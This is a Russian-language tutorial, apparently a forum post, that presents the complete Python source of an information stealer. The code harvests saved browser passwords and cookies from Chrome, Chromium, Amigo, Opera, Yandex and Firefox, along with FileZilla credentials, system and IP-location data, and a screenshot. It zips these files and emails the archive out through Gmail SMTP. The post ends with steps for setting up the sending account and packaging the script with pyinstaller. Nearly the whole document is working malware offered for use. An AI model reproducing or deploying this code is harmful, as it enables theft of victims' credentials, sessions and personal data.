################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close()
################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close()
Данные с FILEZILLA.
################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close()
Делаем скриншот экрана.
################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')
Тут записываем наши тхт в один ZIP — doc.
################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close()
Вот он наш ZIP по всеми данными.
################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip'
################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'тут ваша новая почта с которой отправится' msg['To'] = 'почта на которую отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext)
Тут мы создаем вложение для нашего doc’а ZIP.
################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part)
Здесь мы собственно производим отправку на емаил с помощью SMTP
################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты') s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string()) s.quit() i = input()
Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.
Весь код
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") file.write(all_data) file.close() ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") file.write(str(Chrome()) + '\n') file.close() ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close() ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'ваша новая почта@gmail.com' msg['To'] = 'почта куда отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) ################################################################################ # СОЗДАНИЕ ВЛОЖЕНИЯ # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) ################################################################################ # ОТПРАВКА вам # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил') s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string()) s.quit() i = input()

Вот что в архиве.


Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.
Теперь pyinstaller —onefile название вашего файла.py, ентер.